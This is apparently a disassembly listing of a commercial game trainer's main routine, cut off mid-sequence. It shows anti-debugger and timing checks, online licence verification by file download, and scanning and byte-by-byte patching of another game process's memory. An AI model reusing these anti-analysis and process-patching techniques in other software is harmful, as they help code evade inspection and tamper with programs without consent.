Function at 0x401000
Capabilities:
Authenticate hmac
Check for time delay via gettickcount
Check internet connectivity via wininet
Download url
Log keystrokes via polling
Parse pe header
Receive data
Resolve function by parsing pe exports

Disassembly:
push 0x358
push 0
push 0x53d998
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
call sub.KERNEL32.dll_GetModuleHandleA
mov dword [0x53d99c], eax
push 0
push 0x1000
push 0
call sub.KERNEL32.dll_HeapCreate
mov dword [0x53d998], eax
call fcn.0040d2d0
call fcn.0040d254
call fcn.0040c8f0
call fcn.0040b678
call fcn.0040ae32
call fcn.0040ad0a
call fcn.0040a74f
call fcn.0040a135
call fcn.00409fa0
call fcn.00409903
call fcn.004097c7
call fcn.00408b8b
call fcn.0040a690
call fcn.00408cb0
mov dword [0x53d9a4], eax
mov ebp, str.RIFFp
push ebp
push 0
call fcn.00409122
mov ebp, 0x48bd91
push ebp
push 1
call fcn.00409122
mov ebp, str.RIFF
push ebp
push 3
call fcn.00409122
mov ebp, str.RIFF__f
push ebp
push 4
call fcn.00409122
mov ebp, str.RIFF__
push ebp
push 5
call fcn.00409122
mov ebp, str.RIFF_f_
push ebp
push 6
call fcn.00409122
call sub.KERNEL32.dll_IsDebuggerPresent
and eax, eax
je 0x4010fa
push 0x75009553
inc ecx
ret
call sub.KERNEL32.dll_GetTickCount
mov dword [0x53d9bc], eax
mov eax, dword [0x53e114]
push eax
push eax
call fcn.0040991f
lea ecx, [0x53d9c0]
pop edx
call fcn.00408000
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53d9c0]
call fcn.00409ee7
lea ecx, [0x53d9c0]
pop edx
call fcn.00408000
mov edx, 0x41801c
lea ecx, [0x53d9c4]
call fcn.00408018
mov edx, 0x41801c
lea ecx, [0x53d9c8]
call fcn.00408018
mov edx, 0x41801c
lea ecx, [0x53d9cc]
call fcn.00408018
mov dword [0x53d9d0], 0
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53e114]
call fcn.0040991f
inc dword [0x53e114]
push 0
mov edx, dword [0x53c870]
add dword [esp + 4], edx
call fcn.0040cae0
pop dword [0x53e114]
push 0
call fcn.0040cb00
mov dword [0x53d9d4], eax
mov dword [0x53d9d8], 1
mov ebx, dword [0x53d9d4]
add ebx, 0xfffffff8
cmp ebx, dword [0x53d9d8]
jl 0x4011fc
push 0
call fcn.0040cb70
mov byte [0x53dbb4], al
mov ebx, dword [0x53d9dc]
movzx eax, byte [0x53dbb4]
add ebx, eax
mov dword [0x53d9dc], ebx
inc dword [0x53d9d8]
jmp 0x4011bf
push 0
call fcn.0040cbd0
mov dword [0x53d9e0], eax
push 0
call fcn.0040cbd0
mov dword [0x53d9e4], eax
push 0
call fcn.0040c880
mov eax, dword [0x53d9dc]
mov dword [0x53d9e8], eax
push dword [0x53d9c0]
push 0
call fcn.0040cae0
mov ebx, eax
and ebx, ebx
jle 0x4015d3
mov dword [0x53d9d8], 1
mov eax, 0x3b8
cmp eax, dword [0x53d9d8]
jl 0x401276
push 0
call fcn.0040cc30
mov dword [0x53d9ec], eax
inc dword [0x53d9d8]
jmp 0x401252
mov dword [0x53d9d8], 0x3b9
mov eax, 0x3c0
cmp eax, dword [0x53d9d8]
jl 0x401319
push 0
call fcn.0040cc30
mov dword [0x53d9ec], eax
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53e114]
push 0
mov eax, dword [0x53d9ec]
cdq
push edx
push eax
call fcn.00408630
inc dword [0x53e114]
mov edx, dword [0x53c870]
add dword [esp], edx
call fcn.00408130
pop dword [0x53e114]
mov dword [0x53d9ec], eax
mov edx, dword [0x53d9c4]
push dword [0x53e114]
call fcn.0040d320
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53d9ec]
call fcn.00408220
pop eax
lea ecx, [0x53d9c4]
pop edx
call fcn.00408000
inc dword [0x53d9d8]
jmp 0x401280
push dword [0x53d9c4]
call fcn.00407800
mov dword [0x53d9ec], eax
mov ebx, dword [0x53d9ec]
xor ebx, 0x98989898
mov dword [0x53d9ec], ebx
mov eax, dword [0x53d9ec]
mov dword [0x53d9f0], eax
mov eax, dword [0x53e114]
push eax
push eax
push 0xa
push dword [0x53e114]
mov edx, str.0000000000
call fcn.0040d320
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53d9ec]
call fcn.00408240
pop eax
inc dword [0x53e114]
mov edx, dword [0x53c870]
add dword [esp], edx
call fcn.00408310
lea ecx, [0x53d9c4]
pop edx
call fcn.00408000
mov dword [0x53d9d8], 0x3c1
mov eax, 0x3c8
cmp eax, dword [0x53d9d8]
jl 0x401437
push 0
call fcn.0040cc30
mov dword [0x53d9ec], eax
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53e114]
push 0
mov eax, dword [0x53d9ec]
cdq
push edx
push eax
call fcn.00408630
inc dword [0x53e114]
mov edx, dword [0x53c870]
add dword [esp], edx
call fcn.00408130
pop dword [0x53e114]
mov dword [0x53d9ec], eax
mov edx, dword [0x53d9c8]
push dword [0x53e114]
call fcn.0040d320
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53d9ec]
call fcn.00408220
pop eax
lea ecx, [0x53d9c8]
pop edx
call fcn.00408000
inc dword [0x53d9d8]
jmp 0x40139e
push dword [0x53d9c8]
call fcn.00407800
mov dword [0x53d9f4], eax
mov dword [0x53d9d8], 0x3c9
mov eax, 0x3d0
cmp eax, dword [0x53d9d8]
jl 0x4014ea
push 0
call fcn.0040cc30
mov dword [0x53d9ec], eax
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53e114]
push 0
mov eax, dword [0x53d9ec]
cdq
push edx
push eax
call fcn.00408630
inc dword [0x53e114]
mov edx, dword [0x53c870]
add dword [esp], edx
call fcn.00408130
pop dword [0x53e114]
mov dword [0x53d9ec], eax
mov edx, dword [0x53d9cc]
push dword [0x53e114]
call fcn.0040d320
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53d9ec]
call fcn.00408220
pop eax
lea ecx, [0x53d9cc]
pop edx
call fcn.00408000
inc dword [0x53d9d8]
jmp 0x401451
push dword [0x53d9cc]
call fcn.00407800
mov dword [0x53d9ec], eax
mov eax, dword [0x53d9ec]
mov dword [0x53d9f8], eax
mov dword [0x53d9d8], 0x3d1
mov ebx, dword [0x53d9f8]
dec ebx
cmp ebx, dword [0x53d9d8]
jl 0x401534
push 0
call fcn.0040cc30
mov dword [0x53d9ec], eax
inc dword [0x53d9d8]
jmp 0x40150e
mov eax, dword [0x53d9f8]
mov dword [0x53d9d8], eax
mov ebx, dword [0x53d9f8]
add ebx, 0x12
cmp ebx, dword [0x53d9d8]
jl 0x401578
push 0
call fcn.0040cc30
mov dword [0x53d9ec], eax
mov ebx, dword [0x53d9d0]
add ebx, dword [0x53d9ec]
mov dword [0x53d9d0], ebx
inc dword [0x53d9d8]
jmp 0x40153e
mov ebx, dword [0x53d9f4]
xor ebx, dword [0x53d9d0]
mov dword [0x53d9fc], ebx
mov ebx, dword [0x53d9fc]
and ebx, ebx
jne 0x40159e
mov dword [0x53d9fc], 0x63
mov ebx, dword [0x53d9fc]
xor ebx, 0x98989898
mov dword [0x53d9fc], ebx
mov eax, dword [0x53d9f0]
mov dword [0x53da00], eax
mov ebx, dword [0x53d9f0]
cmp ebx, dword [0x53d9fc]
jne 0x4015ca
jmp 0x4015d1
push 0x75009553
inc ecx
ret
jmp 0x4015da
push 0x25001876
inc eax
ret
mov ebx, dword [0x53d9e4]
cmp ebx, dword [0x53d9d4]
jne 0x4015ea
jmp 0x4015f1
push 0x10047665
inc eax
ret
call sub.KERNEL32.dll_GetTickCount
mov dword [0x53da04], eax
mov ebx, dword [0x53da04]
sub ebx, dword [0x53d9bc]
cmp ebx, 0x3e8
jle 0x401616
push 0x9099542
inc eax
ret
mov dword [0x53da08], 0x45a2a5
push 5
push 0x53dcb8
push 0
mov edx, dword [0x53dcb8]
call fcn.00408020
mov eax, 0x15
push 4
call fcn.00408040
push 5
push 0x53dcc0
push 0
mov edx, dword [0x53dcc0]
call fcn.00408020
mov eax, 0x15
push 4
call fcn.00408040
push 5
push 0x53dcc8
push 0
mov edx, dword [0x53dcc8]
call fcn.00408020
mov eax, 0x15
push 4
call fcn.00408040
push 5
push 0x53dcd0
push 0
mov edx, dword [0x53dcd0]
call fcn.00408020
mov eax, 0x15
push 4
call fcn.00408040
push 5
push 0x53dcd8
push 0
mov edx, dword [0x53dcd8]
call fcn.00408020
mov eax, 0x15
push 4
call fcn.00408040
push 0x3e8
call fcn.00409fd0
mov dword [0x53da0c], eax
mov dword [0x53d9d8], 1
mov eax, 0x14
cmp eax, dword [0x53d9d8]
jl 0x401760
mov ebx, dword [0x53d9d8]
mov ebp, dword [0x53dcc0]
shl ebx, 2
mov dword [ebp + ebx], 1
mov ebx, dword [0x53d9d8]
mov ebp, dword [0x53dcc8]
shl ebx, 2
mov dword [ebp + ebx], 1
mov ebx, dword [0x53d9d8]
mov ebp, dword [0x53dcd0]
shl ebx, 2
mov dword [ebp + ebx], 1
inc dword [0x53d9d8]
jmp 0x401706
mov edx, str.Template
lea ecx, [0x53da28]
call fcn.00408018
mov eax, dword [0x53e114]
push eax
push eax
call fcn.0040c7cd
lea ecx, [0x53da10]
pop edx
call fcn.00408000
push dword [0x53e114]
mov edx, dword [0x53da10]
push dword [0x53e114]
call fcn.0040d320
mov edx, str.CH.dll
call fcn.0040d320
inc dword [0x53e114]
push 0
mov edx, dword [0x53c870]
add dword [esp + 4], edx
call fcn.0040ca20
pop dword [0x53e114]
and eax, eax
je 0x4017f8
mov ebp, 0x53b851
mov ebx, ebp
mov ebp, 0x53ac51
sub ebx, ebp
push ebx
mov ebp, 0x53ac51
push ebp
push 0
call fcn.0040cc90
push 0
call fcn.0040c880
jmp 0x4017f8
push dword [0x53e114]
mov edx, dword [0x53da10]
push dword [0x53e114]
call fcn.0040d320
mov edx, str.help.txt
call fcn.0040d320
inc dword [0x53e114]
push 0
mov edx, dword [0x53c870]
add dword [esp + 4], edx
call fcn.0040ca20
pop dword [0x53e114]
and eax, eax
je 0x401868
mov ebp, 0x53c86d
mov ebx, ebp
mov ebp, 0x53b851
sub ebx, ebp
push ebx
mov ebp, 0x53b851
push ebp
push 0
call fcn.0040cc90
push 0
call fcn.0040c880
jmp 0x401877
push str.Could_not_create_HELP.TXT_file.
push str.Error
call fcn.00409804
push str.CH_Trainer_Keys.dat
push 0
call fcn.0040cae0
mov dword [0x53d9a4], eax
mov ebx, dword [0x53d9a4]
and ebx, ebx
jle 0x4018a9
mov dword [0x53da40], 1
push 2
call fcn.0040c880
push 0x12c
call sub.KERNEL32.dll_Sleep
call fcn.00407974
push str.Authenticating_Trainer......
push 0
push 8
call fcn.00408c9a
push 0
push 0
call sub.WININET.dll_InternetGetConnectedState
and eax, eax
je 0x4018e1
jmp 0x40190d
push dword [0x53da00]
call fcn.004071ee
mov ebx, eax
and ebx, ebx
jne 0x40190d
push 0
push str.This_trainer_must_be_authenticated_before_it_can_be_used._Please_connect_this_computer_to_the_Internet_or_obtain_an_offline_key_from_cheathappens.com_then_re_run_the_trainer.
push str.No_Internet_Connection_
call fcn.004097d5
push 0x9099542
inc eax
ret
mov eax, dword [0x53e114]
push eax
push eax
call fcn.0040c7cd
mov edx, str.black.txt
call fcn.0040d320
lea ecx, [0x53da44]
pop edx
call fcn.00408000
push dword [0x53e114]
mov edx, str.http:__www.cheathappens.com_unauthorized_
call fcn.0040d320
mov eax, dword [0x53e114]
push eax
push eax
mov ebx, dword [0x53da00]
xor ebx, 0x7b3d89b
push ebx
call fcn.00408240
pop eax
mov edx, str..zip
call fcn.0040d320
lea ecx, [0x53da48]
pop edx
call fcn.00408000
mov edx, str.http:__www.cheathappens.com_unauthorized_0.zip
lea ecx, [0x53da4c]
call fcn.00408018
mov edx, dword [0x53da48]
push dword [0x53e114]
call fcn.0040d320
lea ecx, [0x53da50]
pop edx
call fcn.00408000
mov edx, dword [0x53da4c]
push dword [0x53e114]
call fcn.0040d320
lea ecx, [0x53da54]
pop edx
call fcn.00408000
push 0
push 0
mov eax, dword [0x53da44]
push eax
mov eax, dword [0x53da54]
push eax
push 0
call sub.URLMON.dll_URLDownloadToFileA
mov dword [0x53da58], eax
mov ebx, dword [0x53da58]
and ebx, ebx
jne 0x4019ea
jmp 0x401a16
push dword [0x53da00]
call fcn.004071ee
mov ebx, eax
and ebx, ebx
jne 0x401a16
push 0
push str.This_trainer_must_be_authenticated_before_it_can_be_used._Please_connect_this_computer_to_the_Internet_or_obtain_an_offline_key_from_cheathappens.com_then_re_run_the_trainer.
push str.No_Internet_Connection_
call fcn.004097d5
push 0x9099542
inc eax
ret
push 0
push 0
mov eax, dword [0x53da44]
push eax
mov eax, dword [0x53da50]
push eax
push 0
call sub.URLMON.dll_URLDownloadToFileA
mov dword [0x53da5c], eax
mov ebx, dword [0x53da5c]
and ebx, ebx
jne 0x401a6f
push 0
push 3
call fcn.0040aea2
push str.Invalid_Trainer_User
push 0
push 8
call fcn.00408c9a
call fcn.00406e13
jmp 0x401a3b
mov ebx, dword [0x53da58]
and ebx, ebx
je 0x401a91
push dword [0x53da00]
call fcn.004071ee
mov ebx, eax
and ebx, ebx
jne 0x401a91
mov eax, 1
jmp 0x401a93
xor eax, eax
and eax, eax
je 0x401aa1
mov dword [0x53da08], 0
lea ebp, [0x53dbb8]
lea eax, [ebp]
push eax
call sub.USER32.dll_GetKeyboardState
movsx eax, byte [ebp + 0x90]
push eax
pop dword [0x53da60]
mov ebx, dword [0x53da60]
cmp ebx, 1
jne 0x401adb
mov edx, 0x41807e
lea ecx, [0x53da64]
call fcn.00408018
jmp 0x401aeb
mov edx, str.OFF.
lea ecx, [0x53da64]
call fcn.00408018
mov eax, dword [0x53e114]
push eax
push eax
mov edx, str.Run_Game_and_then_press_F1_at_Main_Menu._Numlock_is
call fcn.0040d320
mov edx, dword [0x53da64]
call fcn.0040d320
inc dword [0x53e114]
push 0
push 8
mov edx, dword [0x53c870]
add dword [esp + 8], edx
call fcn.00408c9a
pop dword [0x53e114]
mov eax, 0x12c
call fcn.00409e39
mov dword [0x53da68], eax
mov ebx, dword [0x53da68]
cmp ebx, 0x63
jne 0x401bf6
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53e114]
call fcn.0040991f
inc dword [0x53e114]
push 0
mov edx, dword [0x53c870]
add dword [esp + 4], edx
call fcn.0040cae0
pop dword [0x53e114]
push 0
call fcn.0040cb00
mov dword [0x53d9d4], eax
mov dword [0x53d9d8], 1
mov ebx, dword [0x53d9d4]
add ebx, 0xfffffffc
cmp ebx, dword [0x53d9d8]
jl 0x401bbd
push 0
call fcn.0040cc30
mov dword [0x53d9ec], eax
inc dword [0x53d9d8]
jmp 0x401b95
push 0
call fcn.0040cbd0
mov dword [0x53d9e4], eax
push 0
call fcn.0040c880
mov ebx, dword [0x53d9e4]
cmp ebx, dword [0x53d9d4]
jne 0x401be6
jmp 0x401be9
inc eax
push esp
ret
mov ebx, dword [0x53da5c]
and ebx, ebx
jne 0x401bf6
inc eax
push esp
ret
call fcn.00406e13
push 0xa
call sub.KERNEL32.dll_Sleep
push 0x70
call sub.USER32.dll_GetAsyncKeyState
mov ebx, eax
and ebx, ebx
je 0x401aa1
mov edx, str.wic.exe
lea ecx, [0x53da6c]
call fcn.00408018
call fcn.004063f9
mov ebx, dword [0x53da70]
and ebx, ebx
jne 0x401c74
push 0
push 4
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
push 0x12c
call sub.KERNEL32.dll_Sleep
push str.Game_not_Found__Run_Game_and_then_press_F1_at_Main_Menu.
push 0
push 8
call fcn.00408c9a
jmp 0x401a6f
mov edx, str.CH.dll
lea ecx, [0x53da74]
call fcn.00408018
mov edx, dword [0x53da10]
push dword [0x53e114]
call fcn.0040d320
mov edx, dword [0x53da74]
call fcn.0040d320
lea ecx, [0x53da78]
pop edx
call fcn.00408000
call fcn.0040643e
mov edx, str.xlive.dll
lea ecx, [0x53da7c]
call fcn.00408018
call fcn.004063f9
call fcn.00406d62
call fcn.00406e13
mov ebx, dword [0x53da34]
and ebx, ebx
jne 0x401cfd
mov ebx, dword [0x53da80]
and ebx, ebx
jne 0x401cfd
push str.Game_not_Found__Run_Game_and_then_press_F1_at_Main_Menu.
push 0
push 8
call fcn.00408c9a
jmp 0x401a6f
mov ebx, dword [0x53d9e0]
cmp ebx, dword [0x53d9e8]
jne 0x401d21
mov ebx, dword [0x53d9e0]
and ebx, ebx
je 0x401d21
mov ebx, dword [0x53d9e8]
and ebx, ebx
je 0x401d21
jmp 0x401d28
mov eax, 1
jmp 0x401d2a
xor eax, eax
and eax, eax
je 0x401d7c
mov eax, 0xa
call fcn.00409e39
mov ebx, eax
add ebx, 0xa
mov dword [0x53da84], ebx
mov eax, 0x28
call fcn.00409e39
mov ebx, eax
add ebx, 0x28
mov dword [0x53da88], ebx
mov ebx, dword [0x53da34]
add ebx, dword [0x53da84]
mov dword [0x53da34], ebx
mov ebx, dword [0x53da80]
add ebx, dword [0x53da88]
mov dword [0x53da80], ebx
push 0
push 3
call fcn.00409257
push 0x12c
call sub.KERNEL32.dll_Sleep
push str.Game_found__Trainer_Activated_
push 0
push 8
call fcn.00408c9a
mov ebx, dword [0x53da8c]
and ebx, ebx
je 0x4020b6
push 0x8b
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xff
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x55
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x8b
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xec
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x83
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xec
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x20
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x53
mov ebx, dword [0x53da0c]
add ebx, 8
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x56
mov ebx, dword [0x53da0c]
add ebx, 9
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x57
mov ebx, dword [0x53da0c]
add ebx, 0xa
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x8d
mov ebx, dword [0x53da0c]
add ebx, 0xb
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x45
mov ebx, dword [0x53da0c]
add ebx, 0xc
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xe0
mov ebx, dword [0x53da0c]
add ebx, 0xd
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x33
mov ebx, dword [0x53da0c]
add ebx, 0xe
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xf6
mov ebx, dword [0x53da0c]
add ebx, 0xf
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x50
mov ebx, dword [0x53da0c]
add ebx, 0x10
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xff
mov ebx, dword [0x53da0c]
add ebx, 0x11
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x75
mov ebx, dword [0x53da0c]
add ebx, 0x12
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc
mov ebx, dword [0x53da0c]
add ebx, 0x13
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
mov ebx, dword [0x53da8c]
add ebx, 0x1000
mov dword [0x53d9d8], ebx
mov ebx, dword [0x53da8c]
add ebx, 0x100000
cmp ebx, dword [0x53d9d8]
jl 0x4020b6
push dword [0x53da98]
push 0x14
push dword [0x53da94]
push dword [0x53d9d8]
push dword [0x53da90]
call sub.KERNEL32.dll_ReadProcessMemory
mov dword [0x53d9a4], eax
push 0x14
push dword [0x53da94]
push dword [0x53da0c]
call fcn.00409ff0
mov dword [0x53d9a4], eax
mov ebx, dword [0x53d9a4]
cmp ebx, 1
jne 0x4020ab
mov eax, dword [0x53d9d8]
mov dword [0x53da9c], eax
push 0xc2
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push dword [0x53da98]
push 3
push dword [0x53da0c]
push dword [0x53da9c]
push dword [0x53da90]
call sub.KERNEL32.dll_WriteProcessMemory
mov dword [0x53d9a4], eax
inc dword [0x53d9d8]
jmp 0x401fcc
mov ebx, dword [0x53da08]
cmp ebx, 0x45a2a5
jne 0x40215a
mov ebp, dword [0x53dcb8]
mov dword [ebp + 4], 0x61
mov dword [ebp + 8], 0x62
mov dword [ebp + 0xc], 0x63
mov dword [ebp + 0x10], 0x64
mov dword [ebp + 0x14], 0x65
mov dword [ebp + 0x18], 0x66
mov dword [ebp + 0x1c], 0x67
mov dword [ebp + 0x20], 0x68
mov dword [ebp + 0x24], 0x69
mov dword [ebp + 0x28], 0
mov dword [ebp + 0x2c], 0
mov dword [ebp + 0x30], 0
mov dword [ebp + 0x34], 0
mov dword [ebp + 0x38], 0
mov dword [ebp + 0x3c], 0
mov dword [ebp + 0x40], 0
mov dword [ebp + 0x44], 0
mov dword [ebp + 0x48], 0
mov dword [ebp + 0x4c], 0
mov dword [ebp + 0x50], 0
push str.CH_Trainer_Keys.dat
push 0
call fcn.0040cae0
mov dword [0x53d9a4], eax
mov ebx, dword [0x53d9a4]
and ebx, ebx
jle 0x4022cd
mov dword [0x53da40], 1
push 0
call fcn.0040cc30
mov dword [0x53daa0], eax
mov dword [0x53d9d8], 1
mov eax, dword [0x53daa0]
cmp eax, dword [0x53d9d8]
jl 0x4022c3
mov eax, dword [0x53e114]
push eax
push eax
push 0
call fcn.0040ccf0
lea ecx, [0x53daa4]
pop edx
call fcn.00408000
push dword [0x53daa4]
mov edx, str.SHIFT
pop ecx
call fcn.0040d380
je 0x4021f7
mov ebx, dword [0x53d9d8]
mov ebp, dword [0x53dcc0]
shl ebx, 2
mov dword [ebp + ebx], 0
push dword [0x53daa4]
mov edx, str.CTRL
pop ecx
call fcn.0040d380
je 0x402221
mov ebx, dword [0x53d9d8]
mov ebp, dword [0x53dcc8]
shl ebx, 2
mov dword [ebp + ebx], 0
push dword [0x53daa4]
mov edx, 0x4181fe
pop ecx
call fcn.0040d380
je 0x40224b
mov ebx, dword [0x53d9d8]
mov ebp, dword [0x53dcd0]
shl ebx, 2
mov dword [ebp + ebx], 0
push 0
call fcn.0040cc30
push eax
mov ebx, dword [0x53d9d8]
mov ebp, dword [0x53dcb8]
shl ebx, 2
pop dword [ebp + ebx]
mov eax, dword [0x53e114]
push eax
push eax
push dword [0x53e114]
push 0
mov ebx, dword [0x53d9d8]
shl ebx, 2
mov eax, dword [ebp + ebx]
cdq
push edx
push eax
call fcn.00408630
inc dword [0x53e114]
mov edx, dword [0x53c870]
add dword [esp], edx
call fcn.00408130
pop dword [0x53e114]
push eax
mov ebx, dword [0x53d9d8]
shl ebx, 2
pop dword [ebp + ebx]
inc dword [0x53d9d8]
jmp 0x40219f
push 0
call fcn.0040c880
push 0x83
mov ebx, dword [0x53da0c]
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3d
mov ebx, dword [0x53da0c]
inc ebx
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 2
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3f
mov ebx, dword [0x53da0c]
add ebx, 3
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xfc
mov ebx, dword [0x53da0c]
add ebx, 4
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 7
mov ebx, dword [0x53da0c]
add ebx, 5
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 1
mov ebx, dword [0x53da0c]
add ebx, 6
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x75
mov ebx, dword [0x53da0c]
add ebx, 7
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x15
mov ebx, dword [0x53da0c]
add ebx, 8
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc7
mov ebx, dword [0x53da0c]
add ebx, 9
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x40
mov ebx, dword [0x53da0c]
add ebx, 0xa
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x10
mov ebx, dword [0x53da0c]
add ebx, 0xb
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x50
mov ebx, dword [0x53da0c]
add ebx, 0xc
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc3
mov ebx, dword [0x53da0c]
add ebx, 0xd
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xe
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0xf
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc7
mov ebx, dword [0x53da0c]
add ebx, 0x10
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x40
mov ebx, dword [0x53da0c]
add ebx, 0x11
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x20
mov ebx, dword [0x53da0c]
add ebx, 0x12
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x50
mov ebx, dword [0x53da0c]
add ebx, 0x13
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc3
mov ebx, dword [0x53da0c]
add ebx, 0x14
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x15
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x16
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc7
mov ebx, dword [0x53da0c]
add ebx, 0x17
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x40
mov ebx, dword [0x53da0c]
add ebx, 0x18
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x1c
mov ebx, dword [0x53da0c]
add ebx, 0x19
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x1a
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x1b
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x1c
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x1d
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x83
mov ebx, dword [0x53da0c]
add ebx, 0x1e
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3d
mov ebx, dword [0x53da0c]
add ebx, 0x1f
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 4
mov ebx, dword [0x53da0c]
add ebx, 0x20
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x3f
mov ebx, dword [0x53da0c]
add ebx, 0x21
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xfc
mov ebx, dword [0x53da0c]
add ebx, 0x22
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 7
mov ebx, dword [0x53da0c]
add ebx, 0x23
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 1
mov ebx, dword [0x53da0c]
add ebx, 0x24
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x75
mov ebx, dword [0x53da0c]
add ebx, 0x25
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xe
mov ebx, dword [0x53da0c]
add ebx, 0x26
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0xc7
mov ebx, dword [0x53da0c]
add ebx, 0x27
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x40
mov ebx, dword [0x53da0c]
add ebx, 0x28
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x18
mov ebx, dword [0x53da0c]
add ebx, 0x29
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x2a
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0
mov ebx, dword [0x53da0c]
add ebx, 0x2b
mov eax, ebx
call fcn.00409f70
mov dword [0x53d9a4], eax
push 0x7a
mov ebx, dword [0x53da0c]
add ebx, 0x2c
mov eax, ebx
